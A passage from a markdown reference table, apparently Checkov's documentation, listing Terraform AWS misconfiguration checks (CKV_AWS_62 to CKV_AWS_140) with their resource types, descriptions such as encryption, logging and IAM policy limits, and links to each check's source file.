[IAMRoleAllowAssumeFromAccount.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/IAMRoleAllowAssumeFromAccount.py)                                                                     |\n|  126 | CKV_AWS_62      | resource | aws_iam_group_policy                                             | Ensure IAM policies that allow full \"*-*\" administrative privileges are not created                                                                                                                      | Terraform | [IAMAdminPolicyDocument.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/IAMAdminPolicyDocument.py)                                                                                   |\n|  127 | CKV_AWS_62      | resource | aws_iam_policy                                                   | Ensure IAM policies that allow full \"*-*\" administrative privileges are not created                                                                                                                      | Terraform | [IAMAdminPolicyDocument.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/IAMAdminPolicyDocument.py)                                                                                   |\n|  128 | CKV_AWS_62      | resource | aws_iam_role_policy                                              | Ensure IAM policies that allow full \"*-*\" administrative privileges are not created                                                                                                                      | Terraform | [IAMAdminPolicyDocument.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/IAMAdminPolicyDocument.py)                                                                                   |\n|  129 | CKV_AWS_62      | resource | aws_iam_user_policy                                              | Ensure IAM policies that allow full \"*-*\" administrative privileges are not created                                                                                                                      | Terraform | [IAMAdminPolicyDocument.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/IAMAdminPolicyDocument.py)                                                                                   |\n|  130 | CKV_AWS_62      | resource | aws_ssoadmin_permission_set_inline_policy                        | Ensure IAM policies that allow full \"*-*\" administrative privileges are not created                                                                                                                      | Terraform | [IAMAdminPolicyDocument.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/IAMAdminPolicyDocument.py)                                                                                   |\n|  131 | CKV_AWS_63      | resource | aws_iam_group_policy                                             | Ensure no IAM policies documents allow \"*\" as a statement's actions                                                                                                                                      | Terraform | [IAMStarActionPolicyDocument.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/IAMStarActionPolicyDocument.py)                                                                         |\n|  132 | CKV_AWS_63      | resource | aws_iam_policy                                                   | Ensure no IAM policies documents allow \"*\" as a statement's actions                                                                                                                                      | Terraform | [IAMStarActionPolicyDocument.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/IAMStarActionPolicyDocument.py)                                                                         |\n|  133 | CKV_AWS_63      | resource | aws_iam_role_policy                                              | Ensure no IAM policies documents allow \"*\" as a statement's actions                                                                                                                                      | Terraform | [IAMStarActionPolicyDocument.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/IAMStarActionPolicyDocument.py)                                                                         |\n|  134 | CKV_AWS_63      | resource | aws_iam_user_policy                                              | Ensure no IAM policies documents allow \"*\" as a statement's actions                                                                                                                                      | Terraform | [IAMStarActionPolicyDocument.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/IAMStarActionPolicyDocument.py)                                                                         |\n|  135 | CKV_AWS_63      | resource | aws_ssoadmin_permission_set_inline_policy                        | Ensure no IAM policies documents allow \"*\" as a statement's actions                                                                                                                                      | Terraform | [IAMStarActionPolicyDocument.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/IAMStarActionPolicyDocument.py)                                                                         |\n|  136 | CKV_AWS_64      | resource | aws_redshift_cluster                                             | Ensure all data stored in the Redshift cluster is securely encrypted at rest                                                                                                                             | Terraform | [RedshiftClusterEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/RedshiftClusterEncryption.py)                                                                             |\n|  137 | CKV_AWS_65      | resource | aws_ecs_cluster                                                  | Ensure container insights are enabled on ECS cluster                                                                                                                                                     | Terraform | [ECSClusterContainerInsights.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/ECSClusterContainerInsights.py)                                                                         |\n|  138 | CKV_AWS_66      | resource | aws_cloudwatch_log_group                                         | Ensure that CloudWatch Log Group specifies retention days                                                                                                                                                | Terraform | [CloudWatchLogGroupRetention.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/CloudWatchLogGroupRetention.py)                                                                         |\n|  139 | CKV_AWS_67      | resource | aws_cloudtrail                                                   | Ensure CloudTrail is enabled in all Regions                                                                                                                                                              | Terraform | [CloudtrailMultiRegion.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/CloudtrailMultiRegion.py)                                                                                     |\n|  140 | CKV_AWS_68      | resource | aws_cloudfront_distribution                                      | CloudFront Distribution should have WAF enabled                                                                                                                                                          | Terraform | [WAFEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/WAFEnabled.py)                                                                                                           |\n|  141 | CKV_AWS_69      | resource | aws_mq_broker                                                    | Ensure MQ Broker is not publicly exposed                                                                                                                                                                 | Terraform | [MQBrokerNotPubliclyExposed.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/MQBrokerNotPubliclyExposed.py)                                                                           |\n|  142 | CKV_AWS_70      | resource | aws_s3_bucket                                                    | Ensure S3 bucket does not allow an action with any Principal                                                                                                                                             | Terraform | [S3AllowsAnyPrincipal.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/S3AllowsAnyPrincipal.py)                                                                                       |\n|  143 | CKV_AWS_70      | resource | aws_s3_bucket_policy                                             | Ensure S3 bucket does not allow an action with any Principal                                                                                                                                             | Terraform | [S3AllowsAnyPrincipal.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/S3AllowsAnyPrincipal.py)                                                                                       |\n|  144 | CKV_AWS_71      | resource | aws_redshift_cluster                                             | Ensure Redshift Cluster logging is enabled                                                                                                                                                               | Terraform | [RedshiftClusterLogging.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/RedshiftClusterLogging.py)                                                                                   |\n|  145 | CKV_AWS_72      | resource | aws_sqs_queue_policy                                             | Ensure SQS policy does not allow ALL (*) actions.                                                                                                                                                        | Terraform | [SQSPolicy.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/SQSPolicy.py)                                                                                                             |\n|  146 | CKV_AWS_73      | resource | aws_api_gateway_stage                                            | Ensure API Gateway has X-Ray Tracing enabled                                                                                                                                                             | Terraform | [APIGatewayXray.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/APIGatewayXray.py)                                                                                                   |\n|  147 | CKV_AWS_74      | resource | aws_docdb_cluster                                                | Ensure DocumentDB is encrypted at rest (default is unencrypted)                                                                                                                                          | Terraform | [DocDBEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/DocDBEncryption.py)                                                                                                 |\n|  148 | CKV_AWS_75      | resource | aws_globalaccelerator_accelerator                                | Ensure Global Accelerator accelerator has flow logs enabled                                                                                                                                              | Terraform | [GlobalAcceleratorAcceleratorFlowLogs.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/GlobalAcceleratorAcceleratorFlowLogs.py)                                                       |\n|  149 | CKV_AWS_76      | resource | aws_api_gateway_stage                                            | Ensure API Gateway has Access Logging enabled                                                                                                                                                            | Terraform | [APIGatewayAccessLogging.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/APIGatewayAccessLogging.py)                                                                                 |\n|  150 | CKV_AWS_76      | resource | aws_apigatewayv2_stage                                           | Ensure API Gateway has Access Logging enabled                                                                                                                                                            | Terraform | [APIGatewayAccessLogging.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/APIGatewayAccessLogging.py)                                                                                 |\n|  151 | CKV_AWS_77      | resource | aws_athena_database                                              | Ensure Athena Database is encrypted at rest (default is unencrypted)                                                                                                                                     | Terraform | [AthenaDatabaseEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/AthenaDatabaseEncryption.py)                                                                               |\n|  152 | CKV_AWS_78      | resource | aws_codebuild_project                                            | Ensure that CodeBuild Project encryption is not disabled                                                                                                                                                 | Terraform | [CodeBuildProjectEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/CodeBuildProjectEncryption.py)                                                                           |\n|  153 | CKV_AWS_79      | resource | aws_instance                                                     | Ensure Instance Metadata Service Version 1 is not enabled                                                                                                                                                | Terraform | [IMDSv1Disabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/IMDSv1Disabled.py)                                                                                                   |\n|  154 | CKV_AWS_79      | resource | aws_launch_configuration                                         | Ensure Instance Metadata Service Version 1 is not enabled                                                                                                                                                | Terraform | [IMDSv1Disabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/IMDSv1Disabled.py)                                                                                                   |\n|  155 | CKV_AWS_79      | resource | aws_launch_template                                              | Ensure Instance Metadata Service Version 1 is not enabled                                                                                                                                                | Terraform | [IMDSv1Disabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/IMDSv1Disabled.py)                                                                                                   |\n|  156 | CKV_AWS_80      | resource | aws_msk_cluster                                                  | Ensure MSK Cluster logging is enabled                                                                                                                                                                    | Terraform | [MSKClusterLogging.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/MSKClusterLogging.py)                                                                                             |\n|  157 | CKV_AWS_81      | resource | aws_msk_cluster                                                  | Ensure MSK Cluster encryption in rest and transit is enabled                                                                                                                                             | Terraform | [MSKClusterEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/MSKClusterEncryption.py)                                                                                       |\n|  158 | CKV_AWS_82      | resource | aws_athena_workgroup                                             | Ensure Athena Workgroup should enforce configuration to prevent client disabling encryption                                                                                                              | Terraform | [AthenaWorkgroupConfiguration.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/AthenaWorkgroupConfiguration.py)                                                                       |\n|  159 | CKV_AWS_83      | resource | aws_elasticsearch_domain                                         | Ensure Elasticsearch Domain enforces HTTPS                                                                                                                                                               | Terraform | [ElasticsearchDomainEnforceHTTPS.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/ElasticsearchDomainEnforceHTTPS.py)                                                                 |\n|  160 | CKV_AWS_83      | resource | aws_opensearch_domain                                            | Ensure Elasticsearch Domain enforces HTTPS                                                                                                                                                               | Terraform | [ElasticsearchDomainEnforceHTTPS.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/ElasticsearchDomainEnforceHTTPS.py)                                                                 |\n|  161 | CKV_AWS_84      | resource | aws_elasticsearch_domain                                         | Ensure Elasticsearch Domain Logging is enabled                                                                                                                                                           | Terraform | [ElasticsearchDomainLogging.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/ElasticsearchDomainLogging.py)                                                                           |\n|  162 | CKV_AWS_84      | resource | aws_opensearch_domain                                            | Ensure Elasticsearch Domain Logging is enabled                                                                                                                                                           | Terraform | [ElasticsearchDomainLogging.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/ElasticsearchDomainLogging.py)                                                                           |\n|  163 | CKV_AWS_85      | resource | aws_docdb_cluster                                                | Ensure DocumentDB Logging is enabled                                                                                                                                                                     | Terraform | [DocDBLogging.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/DocDBLogging.py)                                                                                                       |\n|  164 | CKV_AWS_86      | resource | aws_cloudfront_distribution                                      | Ensure CloudFront distribution has Access Logging enabled                                                                                                                                                | Terraform | [CloudfrontDistributionLogging.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/CloudfrontDistributionLogging.py)                                                                     |\n|  165 | CKV_AWS_87      | resource | aws_redshift_cluster                                             | Redshift cluster should not be publicly accessible                                                                                                                                                       | Terraform | [RedshitClusterPubliclyAvailable.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/RedshitClusterPubliclyAvailable.py)                                                                 |\n|  166 | CKV_AWS_88      | resource | aws_instance                                                     | EC2 instance should not have public IP.                                                                                                                                                                  | Terraform | [EC2PublicIP.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/EC2PublicIP.py)                                                                                                         |\n|  167 | CKV_AWS_88      | resource | aws_launch_template                                              | EC2 instance should not have public IP.                                                                                                                                                                  | Terraform | [EC2PublicIP.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/EC2PublicIP.py)                                                                                                         |\n|  168 | CKV_AWS_89      | resource | aws_dms_replication_instance                                     | DMS replication instance should not be publicly accessible                                                                                                                                               | Terraform | [DMSReplicationInstancePubliclyAccessible.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/DMSReplicationInstancePubliclyAccessible.py)                                               |\n|  169 | CKV_AWS_90      | resource | aws_docdb_cluster_parameter_group                                | Ensure DocumentDB TLS is not disabled                                                                                                                                                                    | Terraform | [DocDBTLS.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/DocDBTLS.py)                                                                                                               |\n|  170 | CKV_AWS_91      | resource | aws_alb                                                          | Ensure the ELBv2 (Application/Network) has access logging enabled                                                                                                                                        | Terraform | [ELBv2AccessLogs.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/ELBv2AccessLogs.py)                                                                                                 |\n|  171 | CKV_AWS_91      | resource | aws_lb                                                           | Ensure the ELBv2 (Application/Network) has access logging enabled                                                                                                                                        | Terraform | [ELBv2AccessLogs.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/ELBv2AccessLogs.py)                                                                                                 |\n|  172 | CKV_AWS_92      | resource | aws_elb                                                          | Ensure the ELB has access logging enabled                                                                                                                                                                | Terraform | [ELBAccessLogs.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/ELBAccessLogs.py)                                                                                                     |\n|  173 | CKV_AWS_93      | resource | aws_s3_bucket                                                    | Ensure S3 bucket policy does not lockout all but root user. (Prevent lockouts needing root account fixes)                                                                                                | Terraform | [S3ProtectAgainstPolicyLockout.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/S3ProtectAgainstPolicyLockout.py)                                                                     |\n|  174 | CKV_AWS_93      | resource | aws_s3_bucket_policy                                             | Ensure S3 bucket policy does not lockout all but root user. (Prevent lockouts needing root account fixes)                                                                                                | Terraform | [S3ProtectAgainstPolicyLockout.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/S3ProtectAgainstPolicyLockout.py)                                                                     |\n|  175 | CKV_AWS_94      | resource | aws_glue_data_catalog_encryption_settings                        | Ensure Glue Data Catalog Encryption is enabled                                                                                                                                                           | Terraform | [GlueDataCatalogEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/GlueDataCatalogEncryption.py)                                                                             |\n|  176 | CKV_AWS_96      | resource | aws_rds_cluster                                                  | Ensure all data stored in Aurora is securely encrypted at rest                                                                                                                                           | Terraform | [AuroraEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/AuroraEncryption.py)                                                                                               |\n|  177 | CKV_AWS_97      | resource | aws_ecs_task_definition                                          | Ensure Encryption in transit is enabled for EFS volumes in ECS Task definitions                                                                                                                          | Terraform | [ECSTaskDefinitionEFSVolumeEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/ECSTaskDefinitionEFSVolumeEncryption.py)                                                       |\n|  178 | CKV_AWS_98      | resource | aws_sagemaker_endpoint_configuration                             | Ensure all data stored in the Sagemaker Endpoint is securely encrypted at rest                                                                                                                           | Terraform | [SagemakerEndpointConfigurationEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/SagemakerEndpointConfigurationEncryption.py)                                               |\n|  179 | CKV_AWS_99      | resource | aws_glue_security_configuration                                  | Ensure Glue Security Configuration Encryption is enabled                                                                                                                                                 | Terraform | [GlueSecurityConfiguration.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/GlueSecurityConfiguration.py)                                                                             |\n|  180 | CKV_AWS_100     | resource | aws_eks_node_group                                               | Ensure AWS EKS node group does not have implicit SSH access from 0.0.0.0/0                                                                                                                               | Terraform | [EKSNodeGroupRemoteAccess.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/EKSNodeGroupRemoteAccess.py)                                                                               |\n|  181 | CKV_AWS_101     | resource | aws_neptune_cluster                                              | Ensure Neptune logging is enabled                                                                                                                                                                        | Terraform | [NeptuneClusterLogging.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/NeptuneClusterLogging.py)                                                                                     |\n|  182 | CKV_AWS_102     | resource | aws_neptune_cluster_instance                                     | Ensure Neptune Cluster instance is not publicly available                                                                                                                                                | Terraform | [NeptuneClusterInstancePublic.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/NeptuneClusterInstancePublic.py)                                                                       |\n|  183 | CKV_AWS_103     | resource | aws_alb_listener                                                 | Ensure that load balancer is using at least TLS 1.2                                                                                                                                                      | Terraform | [AppLoadBalancerTLS12.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/AppLoadBalancerTLS12.yaml)                                                                               |\n|  184 | CKV_AWS_103     | resource | aws_lb                                                           | Ensure that load balancer is using at least TLS 1.2                                                                                                                                                      | Terraform | [AppLoadBalancerTLS12.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/AppLoadBalancerTLS12.yaml)                                                                               |\n|  185 | CKV_AWS_103     | resource | aws_lb_listener                                                  | Ensure that load balancer is using at least TLS 1.2                                                                                                                                                      | Terraform | [AppLoadBalancerTLS12.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/AppLoadBalancerTLS12.yaml)                                                                               |\n|  186 | CKV_AWS_104     | resource | aws_docdb_cluster_parameter_group                                | Ensure DocumentDB has audit logs enabled                                                                                                                                                                 | Terraform | [DocDBAuditLogs.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/DocDBAuditLogs.py)                                                                                                   |\n|  187 | CKV_AWS_105     | resource | aws_redshift_parameter_group                                     | Ensure Redshift uses SSL                                                                                                                                                                                 | Terraform | [RedShiftSSL.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/RedShiftSSL.py)                                                                                                         |\n|  188 | CKV_AWS_106     | resource | aws_ebs_encryption_by_default                                    | Ensure EBS default encryption is enabled                                                                                                                                                                 | Terraform | [EBSDefaultEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/EBSDefaultEncryption.py)                                                                                       |\n|  189 | CKV_AWS_107     | data     | aws_iam_policy_document                                          | Ensure IAM policies does not allow credentials exposure                                                                                                                                                  | Terraform | [IAMCredentialsExposure.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/data/aws/IAMCredentialsExposure.py)                                                                                       |\n|  190 | CKV_AWS_108     | data     | aws_iam_policy_document                                          | Ensure IAM policies does not allow data exfiltration                                                                                                                                                     | Terraform | [IAMDataExfiltration.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/data/aws/IAMDataExfiltration.py)                                                                                             |\n|  191 | CKV_AWS_109     | data     | aws_iam_policy_document                                          | Ensure IAM policies does not allow permissions management / resource exposure without constraints                                                                                                        | Terraform | [IAMPermissionsManagement.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/data/aws/IAMPermissionsManagement.py)                                                                                   |\n|  192 | CKV_AWS_110     | data     | aws_iam_policy_document                                          | Ensure IAM policies does not allow privilege escalation                                                                                                                                                  | Terraform | [IAMPrivilegeEscalation.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/data/aws/IAMPrivilegeEscalation.py)                                                                                       |\n|  193 | CKV_AWS_111     | data     | aws_iam_policy_document                                          | Ensure IAM policies does not allow write access without constraints                                                                                                                                      | Terraform | [IAMWriteAccess.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/data/aws/IAMWriteAccess.py)                                                                                                       |\n|  194 | CKV_AWS_112     | resource | aws_ssm_document                                                 | Ensure Session Manager data is encrypted in transit                                                                                                                                                      | Terraform | [SSMSessionManagerDocumentEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/SSMSessionManagerDocumentEncryption.py)                                                         |\n|  195 | CKV_AWS_113     | resource | aws_ssm_document                                                 | Ensure Session Manager logs are enabled and encrypted                                                                                                                                                    | Terraform | [SSMSessionManagerDocumentLogging.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/SSMSessionManagerDocumentLogging.py)                                                               |\n|  196 | CKV_AWS_114     | resource | aws_emr_cluster                                                  | Ensure that EMR clusters with Kerberos have Kerberos Realm set                                                                                                                                           | Terraform | [EMRClusterKerberosAttributes.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/EMRClusterKerberosAttributes.py)                                                                       |\n|  197 | CKV_AWS_115     | resource | aws_lambda_function                                              | Ensure that AWS Lambda function is configured for function-level concurrent execution limit                                                                                                              | Terraform | [LambdaFunctionLevelConcurrentExecutionLimit.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/LambdaFunctionLevelConcurrentExecutionLimit.py)                                         |\n|  198 | CKV_AWS_116     | resource | aws_lambda_function                                              | Ensure that AWS Lambda function is configured for a Dead Letter Queue(DLQ)                                                                                                                               | Terraform | [LambdaDLQConfigured.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/LambdaDLQConfigured.py)                                                                                         |\n|  199 | CKV_AWS_117     | resource | aws_lambda_function                                              | Ensure that AWS Lambda function is configured inside a VPC                                                                                                                                               | Terraform | [LambdaInVPC.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/LambdaInVPC.py)                                                                                                         |\n|  200 | CKV_AWS_118     | resource | aws_db_instance                                                  | Ensure that enhanced monitoring is enabled for Amazon RDS instances                                                                                                                                      | Terraform | [RDSEnhancedMonitorEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/RDSEnhancedMonitorEnabled.py)                                                                             |\n|  201 | CKV_AWS_118     | resource | aws_rds_cluster_instance                                         | Ensure that enhanced monitoring is enabled for Amazon RDS instances                                                                                                                                      | Terraform | [RDSEnhancedMonitorEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/RDSEnhancedMonitorEnabled.py)                                                                             |\n|  202 | CKV_AWS_119     | resource | aws_dynamodb_table                                               | Ensure DynamoDB Tables are encrypted using a KMS Customer Managed CMK                                                                                                                                    | Terraform | [DynamoDBTablesEncrypted.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/DynamoDBTablesEncrypted.py)                                                                                 |\n|  203 | CKV_AWS_120     | resource | aws_api_gateway_stage                                            | Ensure API Gateway caching is enabled                                                                                                                                                                    | Terraform | [APIGatewayCacheEnable.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/APIGatewayCacheEnable.py)                                                                                     |\n|  204 | CKV_AWS_121     | resource | aws_config_configuration_aggregator                              | Ensure AWS Config is enabled in all regions                                                                                                                                                              | Terraform | [ConfigConfgurationAggregatorAllRegions.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/ConfigConfgurationAggregatorAllRegions.py)                                                   |\n|  205 | CKV_AWS_122     | resource | aws_sagemaker_notebook_instance                                  | Ensure that direct internet access is disabled for an Amazon SageMaker Notebook Instance                                                                                                                 | Terraform | [SageMakerInternetAccessDisabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/SageMakerInternetAccessDisabled.py)                                                                 |\n|  206 | CKV_AWS_123     | resource | aws_vpc_endpoint_service                                         | Ensure that VPC Endpoint Service is configured for Manual Acceptance                                                                                                                                     | Terraform | [VPCEndpointAcceptanceConfigured.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/VPCEndpointAcceptanceConfigured.py)                                                                 |\n|  207 | CKV_AWS_124     | resource | aws_cloudformation_stack                                         | Ensure that CloudFormation stacks are sending event notifications to an SNS topic                                                                                                                        | Terraform | [CloudformationStackNotificationArns.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/CloudformationStackNotificationArns.py)                                                         |\n|  208 | CKV_AWS_126     | resource | aws_instance                                                     | Ensure that detailed monitoring is enabled for EC2 instances                                                                                                                                             | Terraform | [EC2DetailedMonitoringEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/EC2DetailedMonitoringEnabled.py)                                                                       |\n|  209 | CKV_AWS_127     | resource | aws_elb                                                          | Ensure that Elastic Load Balancer(s) uses SSL certificates provided by AWS Certificate Manager                                                                                                           | Terraform | [ELBUsesSSL.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/ELBUsesSSL.py)                                                                                                           |\n|  210 | CKV_AWS_129     | resource | aws_db_instance                                                  | Ensure that respective logs of Amazon Relational Database Service (Amazon RDS) are enabled                                                                                                               | Terraform | [DBInstanceLogging.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/DBInstanceLogging.py)                                                                                             |\n|  211 | CKV_AWS_130     | resource | aws_subnet                                                       | Ensure VPC subnets do not assign public IP by default                                                                                                                                                    | Terraform | [SubnetPublicIP.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/SubnetPublicIP.py)                                                                                                   |\n|  212 | CKV_AWS_131     | resource | aws_alb                                                          | Ensure that ALB drops HTTP headers                                                                                                                                                                       | Terraform | [ALBDropHttpHeaders.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/ALBDropHttpHeaders.py)                                                                                           |\n|  213 | CKV_AWS_131     | resource | aws_lb                                                           | Ensure that ALB drops HTTP headers                                                                                                                                                                       | Terraform | [ALBDropHttpHeaders.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/ALBDropHttpHeaders.py)                                                                                           |\n|  214 | CKV_AWS_133     | resource | aws_db_instance                                                  | Ensure that RDS instances has backup policy                                                                                                                                                              | Terraform | [DBInstanceBackupRetentionPeriod.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/DBInstanceBackupRetentionPeriod.py)                                                                 |\n|  215 | CKV_AWS_133     | resource | aws_rds_cluster                                                  | Ensure that RDS instances has backup policy                                                                                                                                                              | Terraform | [DBInstanceBackupRetentionPeriod.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/DBInstanceBackupRetentionPeriod.py)                                                                 |\n|  216 | CKV_AWS_134     | resource | aws_elasticache_cluster                                          | Ensure that Amazon ElastiCache Redis clusters have automatic backup turned on                                                                                                                            | Terraform | [ElasticCacheAutomaticBackup.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/ElasticCacheAutomaticBackup.py)                                                                         |\n|  217 | CKV_AWS_135     | resource | aws_instance                                                     | Ensure that EC2 is EBS optimized                                                                                                                                                                         | Terraform | [EC2EBSOptimized.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/EC2EBSOptimized.py)                                                                                                 |\n|  218 | CKV_AWS_136     | resource | aws_ecr_repository                                               | Ensure that ECR repositories are encrypted using KMS                                                                                                                                                     | Terraform | [ECRRepositoryEncrypted.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/ECRRepositoryEncrypted.py)                                                                                   |\n|  219 | CKV_AWS_137     | resource | aws_elasticsearch_domain                                         | Ensure that Elasticsearch is configured inside a VPC                                                                                                                                                     | Terraform | [ElasticsearchInVPC.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/ElasticsearchInVPC.py)                                                                                           |\n|  220 | CKV_AWS_137     | resource | aws_opensearch_domain                                            | Ensure that Elasticsearch is configured inside a VPC                                                                                                                                                     | Terraform | [ElasticsearchInVPC.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/ElasticsearchInVPC.py)                                                                                           |\n|  221 | CKV_AWS_138     | resource | aws_elb                                                          | Ensure that ELB is cross-zone-load-balancing enabled                                                                                                                                                     | Terraform | [ELBCrossZoneEnable.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/ELBCrossZoneEnable.py)                                                                                           |\n|  222 | CKV_AWS_139     | resource | aws_rds_cluster                                                  | Ensure that RDS clusters have deletion protection enabled                                                                                                                                                | Terraform | [RDSDeletionProtection.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/RDSDeletionProtection.py)                                                                                     |\n|  223 | CKV_AWS_140     | resource | aws_rds_global_cluster                                           | Ensure that RDS global clusters are encrypted                                                                                                                                                            | Terraform | 